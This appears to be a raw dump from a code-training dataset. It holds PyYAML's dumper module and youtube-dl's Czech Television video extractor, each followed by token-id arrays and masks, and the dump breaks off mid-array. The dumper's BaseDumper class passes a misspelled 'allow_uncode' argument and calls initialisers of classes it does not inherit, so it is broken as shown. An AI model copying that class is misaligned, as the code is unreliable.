google_appengine/lib/yaml/lib/yaml/dumper.py
131
2718
__all__ = ['BaseDumper', 'SafeDumper', 'Dumper'] from emitter import * from serializer import * from representer import * from resolver import * class BaseDumper(Emitter, Serializer, BaseRepresenter, BaseResolver): def __init__(self, stream, default_style=None, default_flow_style=None, canonical=None, indent=None, width=None, allow_unicode=None, line_break=None, encoding=None, explicit_start=None, explicit_end=None, version=None, tags=None): Emitter.__init__(self, stream, canonical=canonical, indent=indent, width=width, allow_uncode=allow_unicode, line_break=line_break) Serializer.__init__(self, encoding=encoding, explicit_start=explicit_start, explicit_end=explicit_end, version=version, tags=tags) Representer.__init__(self, default_style=default_style, default_flow_style=default_flow_style) Resolver.__init__(self) class SafeDumper(Emitter, Serializer, SafeRepresenter, Resolver): def __init__(self, stream, default_style=None, default_flow_style=None, canonical=None, indent=None, width=None, allow_unicode=None, line_break=None, encoding=None, explicit_start=None, explicit_end=None, version=None, tags=None): Emitter.__init__(self, stream, canonical=canonical, indent=indent, width=width, allow_unicode=allow_unicode, line_break=line_break) Serializer.__init__(self, encoding=encoding, explicit_start=explicit_start, explicit_end=explicit_end, version=version, tags=tags) SafeRepresenter.__init__(self, default_style=default_style, default_flow_style=default_flow_style) Resolver.__init__(self) class Dumper(Emitter, Serializer, Representer, Resolver): def __init__(self, stream, default_style=None, default_flow_style=None, canonical=None, indent=None, width=None, allow_unicode=None, line_break=None, encoding=None, explicit_start=None, explicit_end=None, version=None, tags=None): Emitter.__init__(self, stream, canonical=canonical, indent=indent, width=width, allow_unicode=allow_unicode, line_break=line_break) Serializer.__init__(self, encoding=encoding, explicit_start=explicit_start, explicit_end=explicit_end, version=version, tags=tags) Representer.__init__(self, default_style=default_style, default_flow_style=default_flow_style) Resolver.__init__(self)
mit
[ 199, 363, 452, 363, 275, 788, 1563, 28593, 297, 283, 11090, 28593, 297, 283, 28593, 418, 199, 199, 504, 8689, 351, 492, 627, 199, 504, 9146, 492, 627, 199, 504, 295, 22682, 492, 627, 199, 504, 15611, 492, 627, 199, 199, 533, 3523, 28593, 8, 37, 22541, 12, 25555, 12, 3523, 497, 22682, 12, 3523, 12407, 304, 339, 347, 636, 826, 721, 277, 12, 2547, 12, 288, 849, 63, 2487, 29, 403, 12, 849, 63, 1659, 63, 2487, 29, 403, 12, 288, 11358, 29, 403, 12, 4363, 29, 403, 12, 3462, 29, 403, 12, 288, 2040, 63, 2975, 29, 403, 12, 1004, 63, 4785, 29, 403, 12, 288, 2644, 29, 403, 12, 5027, 63, 928, 29, 403, 12, 5027, 63, 500, 29, 403, 12, 288, 1015, 29, 403, 12, 3762, 29, 403, 304, 267, 662, 22541, 855, 826, 721, 277, 12, 2547, 12, 11358, 29, 13109, 12, 355, 4363, 29, 3724, 12, 3462, 29, 2063, 12, 355, 2040, 63, 324, 600, 29, 3306, 63, 2975, 12, 1004, 63, 4785, 29, 604, 63, 4785, 9, 267, 25555, 855, 826, 721, 277, 12, 2644, 29, 2991, 12, 355, 5027, 63, 928, 29, 10306, 63, 928, 12, 5027, 63, 500, 29, 10306, 63, 500, 12, 355, 1015, 29, 1023, 12, 3762, 29, 2969, 9, 267, 799, 22682, 855, 826, 721, 277, 12, 849, 63, 2487, 29, 885, 63, 2487, 12, 355, 849, 63, 1659, 63, 2487, 29, 885, 63, 1659, 63, 2487, 9, 267, 26046, 855, 826, 721, 277, 9, 199, 199, 533, 14969, 28593, 8, 37, 22541, 12, 25555, 12, 14969, 497, 22682, 12, 26046, 304, 339, 347, 636, 826, 721, 277, 12, 2547, 12, 288, 849, 63, 2487, 29, 403, 12, 849, 63, 1659, 63, 2487, 29, 403, 12, 288, 11358, 29, 403, 12, 4363, 29, 403, 12, 3462, 29, 403, 12, 288, 2040, 63, 2975, 29, 403, 12, 1004, 63, 4785, 29, 403, 12, 288, 2644, 29, 403, 12, 5027, 63, 928, 29, 403, 12, 5027, 63, 500, 29, 403, 12, 288, 1015, 29, 403, 12, 3762, 29, 403, 304, 267, 662, 22541, 855, 826, 721, 277, 12, 2547, 12, 11358, 29, 13109, 12, 355, 4363, 29, 3724, 12, 3462, 29, 2063, 12, 355, 2040, 63, 2975, 29, 3306, 63, 2975, 12, 1004, 63, 4785, 29, 604, 63, 4785, 9, 267, 25555, 855, 826, 721, 277, 12, 2644, 29, 2991, 12, 355, 5027, 63, 928, 29, 10306, 63, 928, 12, 5027, 63, 500, 29, 10306, 63, 500, 12, 355, 1015, 29, 1023, 12, 3762, 29, 2969, 9, 267, 14969, 497, 22682, 855, 826, 721, 277, 12, 849, 63, 2487, 29, 885, 63, 2487, 12, 355, 849, 63, 1659, 63, 2487, 29, 885, 63, 1659, 63, 2487, 9, 267, 26046, 855, 826, 721, 277, 9, 199, 199, 533, 19460, 281, 8, 37, 22541, 12, 25555, 12, 799, 22682, 12, 26046, 304, 339, 347, 636, 826, 721, 277, 12, 2547, 12, 288, 849, 63, 2487, 29, 403, 12, 849, 63, 1659, 63, 2487, 29, 403, 12, 288, 11358, 29, 403, 12, 4363, 29, 403, 12, 3462, 29, 403, 12, 288, 2040, 63, 2975, 29, 403, 12, 1004, 63, 4785, 29, 403, 12, 288, 2644, 29, 403, 12, 5027, 63, 928, 29, 403, 12, 5027, 63, 500, 29, 403, 12, 288, 1015, 29, 403, 12, 3762, 29, 403, 304, 267, 662, 22541, 855, 826, 721, 277, 12, 2547, 12, 11358, 29, 13109, 12, 355, 4363, 29, 3724, 12, 3462, 29, 2063, 12, 355, 2040, 63, 2975, 29, 3306, 63, 2975, 12, 1004, 63, 4785, 29, 604, 63, 4785, 9, 267, 25555, 855, 826, 721, 277, 12, 2644, 29, 2991, 12, 355, 5027, 63, 928, 29, 10306, 63, 928, 12, 5027, 63, 500, 29, 10306, 63, 500, 12, 355, 1015, 29, 1023, 12, 3762, 29, 2969, 9, 267, 799, 22682, 855, 826, 721, 277, 12, 849, 63, 2487, 29, 885, 63, 2487, 12, 355, 849, 63, 1659, 63, 2487, 29, 885, 63, 1659, 63, 2487, 9, 267, 26046, 855, 826, 721, 277, 9, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 363, 452, 363, 275, 788, 1563, 28593, 297, 283, 11090, 28593, 297, 283, 28593, 418, 199, 199, 504, 8689, 351, 492, 627, 199, 504, 9146, 492, 627, 199, 504, 295, 22682, 492, 627, 199, 504, 15611, 492, 627, 199, 199, 533, 3523, 28593, 8, 37, 22541, 12, 25555, 12, 3523, 497, 22682, 12, 3523, 12407, 304, 339, 347, 636, 826, 721, 277, 12, 2547, 12, 288, 849, 63, 2487, 29, 403, 12, 849, 63, 1659, 63, 2487, 29, 403, 12, 288, 11358, 29, 403, 12, 4363, 29, 403, 12, 3462, 29, 403, 12, 288, 2040, 63, 2975, 29, 403, 12, 1004, 63, 4785, 29, 403, 12, 288, 2644, 29, 403, 12, 5027, 63, 928, 29, 403, 12, 5027, 63, 500, 29, 403, 12, 288, 1015, 29, 403, 12, 3762, 29, 403, 304, 267, 662, 22541, 855, 826, 721, 277, 12, 2547, 12, 11358, 29, 13109, 12, 355, 4363, 29, 3724, 12, 3462, 29, 2063, 12, 355, 2040, 63, 324, 600, 29, 3306, 63, 2975, 12, 1004, 63, 4785, 29, 604, 63, 4785, 9, 267, 25555, 855, 826, 721, 277, 12, 2644, 29, 2991, 12, 355, 5027, 63, 928, 29, 10306, 63, 928, 12, 5027, 63, 500, 29, 10306, 63, 500, 12, 355, 1015, 29, 1023, 12, 3762, 29, 2969, 9, 267, 799, 22682, 855, 826, 721, 277, 12, 849, 63, 2487, 29, 885, 63, 2487, 12, 355, 849, 63, 1659, 63, 2487, 29, 885, 63, 1659, 63, 2487, 9, 267, 26046, 855, 826, 721, 277, 9, 199, 199, 533, 14969, 28593, 8, 37, 22541, 12, 25555, 12, 14969, 497, 22682, 12, 26046, 304, 339, 347, 636, 826, 721, 277, 12, 2547, 12, 288, 849, 63, 2487, 29, 403, 12, 849, 63, 1659, 63, 2487, 29, 403, 12, 288, 11358, 29, 403, 12, 4363, 29, 403, 12, 3462, 29, 403, 12, 288, 2040, 63, 2975, 29, 403, 12, 1004, 63, 4785, 29, 403, 12, 288, 2644, 29, 403, 12, 5027, 63, 928, 29, 403, 12, 5027, 63, 500, 29, 403, 12, 288, 1015, 29, 403, 12, 3762, 29, 403, 304, 267, 662, 22541, 855, 826, 721, 277, 12, 2547, 12, 11358, 29, 13109, 12, 355, 4363, 29, 3724, 12, 3462, 29, 2063, 12, 355, 2040, 63, 2975, 29, 3306, 63, 2975, 12, 1004, 63, 4785, 29, 604, 63, 4785, 9, 267, 25555, 855, 826, 721, 277, 12, 2644, 29, 2991, 12, 355, 5027, 63, 928, 29, 10306, 63, 928, 12, 5027, 63, 500, 29, 10306, 63, 500, 12, 355, 1015, 29, 1023, 12, 3762, 29, 2969, 9, 267, 14969, 497, 22682, 855, 826, 721, 277, 12, 849, 63, 2487, 29, 885, 63, 2487, 12, 355, 849, 63, 1659, 63, 2487, 29, 885, 63, 1659, 63, 2487, 9, 267, 26046, 855, 826, 721, 277, 9, 199, 199, 533, 19460, 281, 8, 37, 22541, 12, 25555, 12, 799, 22682, 12, 26046, 304, 339, 347, 636, 826, 721, 277, 12, 2547, 12, 288, 849, 63, 2487, 29, 403, 12, 849, 63, 1659, 63, 2487, 29, 403, 12, 288, 11358, 29, 403, 12, 4363, 29, 403, 12, 3462, 29, 403, 12, 288, 2040, 63, 2975, 29, 403, 12, 1004, 63, 4785, 29, 403, 12, 288, 2644, 29, 403, 12, 5027, 63, 928, 29, 403, 12, 5027, 63, 500, 29, 403, 12, 288, 1015, 29, 403, 12, 3762, 29, 403, 304, 267, 662, 22541, 855, 826, 721, 277, 12, 2547, 12, 11358, 29, 13109, 12, 355, 4363, 29, 3724, 12, 3462, 29, 2063, 12, 355, 2040, 63, 2975, 29, 3306, 63, 2975, 12, 1004, 63, 4785, 29, 604, 63, 4785, 9, 267, 25555, 855, 826, 721, 277, 12, 2644, 29, 2991, 12, 355, 5027, 63, 928, 29, 10306, 63, 928, 12, 5027, 63, 500, 29, 10306, 63, 500, 12, 355, 1015, 29, 1023, 12, 3762, 29, 2969, 9, 267, 799, 22682, 855, 826, 721, 277, 12, 849, 63, 2487, 29, 885, 63, 2487, 12, 355, 849, 63, 1659, 63, 2487, 29, 885, 63, 1659, 63, 2487, 9, 267, 26046, 855, 826, 721, 277, 9, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
mrquim/repository.mrquim
repo/script.module.youtube.dl/lib/youtube_dl/extractor/ceskatelevize.py
29
10182
# coding: utf-8 from __future__ import unicode_literals import re from .common import InfoExtractor from ..compat import ( compat_urllib_parse_unquote, compat_urllib_parse_urlparse, ) from ..utils import ( ExtractorError, float_or_none, sanitized_Request, unescapeHTML, urlencode_postdata, USER_AGENTS, ) class CeskaTelevizeIE(InfoExtractor): _VALID_URL = r'https?://(?:www\.)?ceskatelevize\.cz/ivysilani/(?:[^/?#&]+/)*(?P<id>[^/#?]+)' _TESTS = [{ 'url': 'http://www.ceskatelevize.cz/ivysilani/ivysilani/10441294653-hyde-park-civilizace/214411058091220', 'info_dict': { 'id': '61924494877246241', 'ext': 'mp4', 'title': 'Hyde Park Civilizace: Život v Grónsku', 'description': 'md5:3fec8f6bb497be5cdb0c9e8781076626', 'thumbnail': r're:^https?://.*\.jpg', 'duration': 3350, }, 'params': { # m3u8 download 'skip_download': True, }, }, { 'url': 'http://www.ceskatelevize.cz/ivysilani/10441294653-hyde-park-civilizace/215411058090502/bonus/20641-bonus-01-en', 'info_dict': { 'id': '61924494877028507', 'ext': 'mp4', 'title': 'Hyde Park Civilizace: Bonus 01 - En', 'description': 'English Subtittles', 'thumbnail': r're:^https?://.*\.jpg', 'duration': 81.3, }, 'params': { # m3u8 download 'skip_download': True, }, }, { # live stream 'url': 'http://www.ceskatelevize.cz/ivysilani/zive/ct4/', 'info_dict': { 'id': 402, 'ext': 'mp4', 'title': r're:^ČT Sport \d{4}-\d{2}-\d{2} \d{2}:\d{2}$', 'is_live': True, }, 'params': { # m3u8 download 'skip_download': True, }, 'skip': 'Georestricted to Czech Republic', }, { 'url': 'http://www.ceskatelevize.cz/ivysilani/embed/iFramePlayer.php?hash=d6a3e1370d2e4fa76296b90bad4dfc19673b641e&IDEC=217 562 22150/0004&channelID=1&width=100%25', 'only_matching': True, }] def _real_extract(self, url): playlist_id = self._match_id(url) webpage = self._download_webpage(url, playlist_id) NOT_AVAILABLE_STRING = 'This content is not available at your territory due to limited copyright.' if '%s</p>' % NOT_AVAILABLE_STRING in webpage: raise ExtractorError(NOT_AVAILABLE_STRING, expected=True) type_ = None episode_id = None playlist = self._parse_json( self._search_regex( r'getPlaylistUrl\(\[({.+?})\]', webpage, 'playlist', default='{}'), playlist_id) if playlist: type_ = playlist.get('type') episode_id = playlist.get('id') if not type_: type_ = self._html_search_regex( r'getPlaylistUrl\(\[\{"type":"(.+?)","id":".+?"\}\],', webpage, 'type') if not episode_id: episode_id = self._html_search_regex( r'getPlaylistUrl\(\[\{"type":".+?","id":"(.+?)"\}\],', webpage, 'episode_id') data = { 'playlist[0][type]': type_, 'playlist[0][id]': episode_id, 'requestUrl': compat_urllib_parse_urlparse(url).path, 'requestSource': 'iVysilani', } entries = [] for user_agent in (None, USER_AGENTS['Safari']): req = sanitized_Request( 'http://www.ceskatelevize.cz/ivysilani/ajax/get-client-playlist', data=urlencode_postdata(data)) req.add_header('Content-type', 'application/x-www-form-urlencoded') req.add_header('x-addr', '127.0.0.1') req.add_header('X-Requested-With', 'XMLHttpRequest') if user_agent: req.add_header('User-Agent', user_agent) req.add_header('Referer', url) playlistpage = self._download_json(req, playlist_id, fatal=False) if not playlistpage: continue playlist_url = playlistpage['url'] if playlist_url == 'error_region': raise ExtractorError(NOT_AVAILABLE_STRING, expected=True) req = sanitized_Request(compat_urllib_parse_unquote(playlist_url)) req.add_header('Referer', url) playlist_title = self._og_search_title(webpage, default=None) playlist_description = self._og_search_description(webpage, default=None) playlist = self._download_json(req, playlist_id, fatal=False) if not playlist: continue playlist = playlist.get('playlist') if not isinstance(playlist, list): continue playlist_len = len(playlist) for num, item in enumerate(playlist): is_live = item.get('type') == 'LIVE' formats = [] for format_id, stream_url in item.get('streamUrls', {}).items(): if 'playerType=flash' in stream_url: stream_formats = self._extract_m3u8_formats( stream_url, playlist_id, 'mp4', 'm3u8_native', m3u8_id='hls-%s' % format_id, fatal=False) else: stream_formats = self._extract_mpd_formats( stream_url, playlist_id, mpd_id='dash-%s' % format_id, fatal=False) # See https://github.com/rg3/youtube-dl/issues/12119#issuecomment-280037031 if format_id == 'audioDescription': for f in stream_formats: f['source_preference'] = -10 formats.extend(stream_formats) if user_agent and len(entries) == playlist_len: entries[num]['formats'].extend(formats) continue item_id = item.get('id') or item['assetId'] title = item['title'] duration = float_or_none(item.get('duration')) thumbnail = item.get('previewImageUrl') subtitles = {} if item.get('type') == 'VOD': subs = item.get('subtitles') if subs: subtitles = self.extract_subtitles(episode_id, subs) if playlist_len == 1: final_title = playlist_title or title if is_live: final_title = self._live_title(final_title) else: final_title = '%s (%s)' % (playlist_title, title) entries.append({ 'id': item_id, 'title': final_title, 'description': playlist_description if playlist_len == 1 else None, 'thumbnail': thumbnail, 'duration': duration, 'formats': formats, 'subtitles': subtitles, 'is_live': is_live, }) for e in entries: self._sort_formats(e['formats']) return self.playlist_result(entries, playlist_id, playlist_title, playlist_description) def _get_subtitles(self, episode_id, subs): original_subtitles = self._download_webpage( subs[0]['url'], episode_id, 'Downloading subtitles') srt_subs = self._fix_subtitles(original_subtitles) return { 'cs': [{ 'ext': 'srt', 'data': srt_subs, }] } @staticmethod def _fix_subtitles(subtitles): """ Convert millisecond-based subtitles to SRT """ def _msectotimecode(msec): """ Helper utility to convert milliseconds to timecode """ components = [] for divider in [1000, 60, 60, 100]: components.append(msec % divider) msec //= divider return '{3:02}:{2:02}:{1:02},{0:03}'.format(*components) def _fix_subtitle(subtitle): for line in subtitle.splitlines(): m = re.match(r'^\s*([0-9]+);\s*([0-9]+)\s+([0-9]+)\s*$', line) if m: yield m.group(1) start, stop = (_msectotimecode(int(t)) for t in m.groups()[1:]) yield '{0} --> {1}'.format(start, stop) else: yield line return '\r\n'.join(_fix_subtitle(subtitles)) class CeskaTelevizePoradyIE(InfoExtractor): _VALID_URL = r'https?://(?:www\.)?ceskatelevize\.cz/porady/(?:[^/?#&]+/)*(?P<id>[^/#?]+)' _TESTS = [{ # video with 18+ caution trailer 'url': 'http://www.ceskatelevize.cz/porady/10520528904-queer/215562210900007-bogotart/', 'info_dict': { 'id': '215562210900007-bogotart', 'title': 'Queer: Bogotart', 'description': 'Alternativní průvodce současným queer světem', }, 'playlist': [{ 'info_dict': { 'id': '61924494876844842', 'ext': 'mp4', 'title': 'Queer: Bogotart (Varování 18+)', 'duration': 10.2, }, }, { 'info_dict': { 'id': '61924494877068022', 'ext': 'mp4', 'title': 'Queer: Bogotart (Queer)', 'thumbnail': r're:^https?://.*\.jpg', 'duration': 1558.3, }, }], 'params': { # m3u8 download 'skip_download': True, }, }] def _real_extract(self, url): video_id = self._match_id(url) webpage = self._download_webpage(url, video_id) data_url = unescapeHTML(self._search_regex( r'<span[^>]*\bdata-url=(["\'])(?P<url>(?:(?!\1).)+)\1', webpage, 'iframe player url', group='url')) return self.url_result(data_url, ie=CeskaTelevizeIE.ie_key())
gpl-2.0
[ 3, 2803, 26, 2774, 13, 24, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 646, 295, 199, 199, 504, 1275, 2330, 492, 21298, 199, 504, 2508, 5819, 492, 334, 272, 8434, 63, 4078, 63, 1122, 63, 12240, 12, 272, 8434, 63, 4078, 63, 1122, 63, 10290, 12, 199, 9, 199, 504, 2508, 1208, 492, 334, 272, 19783, 12, 272, 2069, 63, 269, 63, 3592, 12, 272, 31734, 63, 2017, 12, 272, 22221, 4943, 12, 272, 16511, 63, 1932, 576, 12, 272, 13044, 63, 14565, 51, 12, 199, 9, 421, 199, 533, 445, 397, 7351, 24944, 433, 806, 4332, 8, 18283, 304, 272, 485, 5600, 63, 2632, 275, 519, 7, 2859, 24524, 1544, 20316, 823, 75, 323, 274, 433, 806, 4537, 16823, 15, 10241, 338, 1502, 73, 32576, 4735, 10197, 3, 6, 2807, 15, 3342, 2229, 48, 28, 344, 13489, 12645, 31, 29716, 272, 485, 7569, 275, 8910, 267, 283, 633, 356, 283, 1014, 921, 1544, 14, 823, 75, 323, 274, 433, 806, 14, 16823, 15, 10241, 338, 1502, 73, 15, 10241, 338, 1502, 73, 15, 709, 1602, 713, 2635, 25401, 13, 3577, 271, 13, 5149, 13, 559, 433, 19030, 7984, 15, 6886, 2953, 7320, 11782, 713, 1165, 297, 267, 283, 815, 63, 807, 356, 469, 288, 283, 344, 356, 283, 30270, 1194, 1887, 2006, 1138, 11440, 13571, 297, 288, 283, 832, 356, 283, 311, 20, 297, 288, 283, 1213, 356, 283, 21568, 271, 510, 1096, 445, 73, 433, 19030, 7984, 26, 221, 130, 122, 13685, 373, 598, 82, 11980, 561, 20661, 297, 288, 283, 1802, 356, 283, 1064, 21, 26, 19, 27848, 24, 70, 22, 2501, 19180, 1235, 21, 24035, 16, 67, 25, 69, 14681, 7555, 1272, 1479, 297, 288, 283, 8311, 356, 519, 3984, 23497, 2859, 32569, 8476, 297, 288, 283, 5553, 356, 650, 13595, 12, 267, 1660, 267, 283, 1162, 356, 469, 288, 327, 333, 19, 85, 24, 5235, 288, 283, 2759, 63, 4249, 356, 715, 12, 267, 1660, 272, 1660, 469, 267, 283, 633, 356, 283, 1014, 921, 1544, 14, 823, 75, 323, 274, 433, 806, 14, 16823, 15, 10241, 338, 1502, 73, 15, 709, 1602, 713, 2635, 25401, 13, 3577, 271, 13, 5149, 13, 559, 433, 19030, 7984, 15, 7842, 2953, 7320, 11782, 1717, 996, 15, 13520, 527, 15, 1165, 15233, 13, 13520, 527, 13, 614, 13, 287, 297, 267, 283, 815, 63, 807, 356, 469, 288, 283, 344, 356, 283, 30270, 1194, 1887, 2006, 1138, 15501, 13583, 297, 288, 283, 832, 356, 283, 311, 20, 297, 288, 283, 1213, 356, 283, 21568, 271, 510, 1096, 445, 73, 433, 19030, 7984, 26, 699, 265, 527, 17163, 446, 3447, 297, 288, 283, 1802, 356, 283, 19410, 4804, 6403, 1118, 83, 297, 288, 283, 8311, 356, 519, 3984, 23497, 2859, 32569, 8476, 297, 288, 283, 5553, 356, 19071, 14, 19, 12, 267, 1660, 267, 283, 1162, 356, 469, 288, 327, 333, 19, 85, 24, 5235, 288, 283, 2759, 63, 4249, 356, 715, 12, 267, 1660, 272, 1660, 469, 267, 327, 12166, 2547, 267, 283, 633, 356, 283, 1014, 921, 1544, 14, 823, 75, 323, 274, 433, 806, 14, 16823, 15, 10241, 338, 1502, 73, 15, 90, 1912, 15, 319, 20, 3678, 267, 283, 815, 63, 807, 356, 469, 288, 283, 344, 356, 841, 996, 12, 288, 283, 832, 356, 283, 311, 20, 297, 288, 283, 1213, 356, 519, 3984, 23497, 129, 235, 52, 428, 719, 971, 68, 91, 20, 93, 2696, 68, 91, 18, 93, 2696, 68, 91, 18, 93, 971, 68, 91, 18, 93, 3427, 68, 91, 18, 19204, 288, 283, 374, 63, 6442, 356, 715, 12, 267, 1660, 267, 283, 1162, 356, 469, 288, 327, 333, 19, 85, 24, 5235, 288, 283, 2759, 63, 4249, 356, 715, 12, 267, 1660, 267, 283, 2759, 356, 283, 4240, 720, 816, 1522, 370, 445, 806, 335, 799, 3455, 297, 272, 1660, 469, 267, 283, 633, 356, 283, 1014, 921, 1544, 14, 823, 75, 323, 274, 433, 806, 14, 16823, 15, 10241, 338, 1502, 73, 15, 6427, 15, 73, 3160, 10921, 14, 8624, 31, 2227, 29, 68, 22, 65, 19, 69, 969, 2760, 68, 18, 69, 20, 667, 2114, 11700, 66, 2710, 4087, 20, 1587, 67, 1167, 24721, 66, 15233, 69, 6, 998, 4220, 29, 9335, 959, 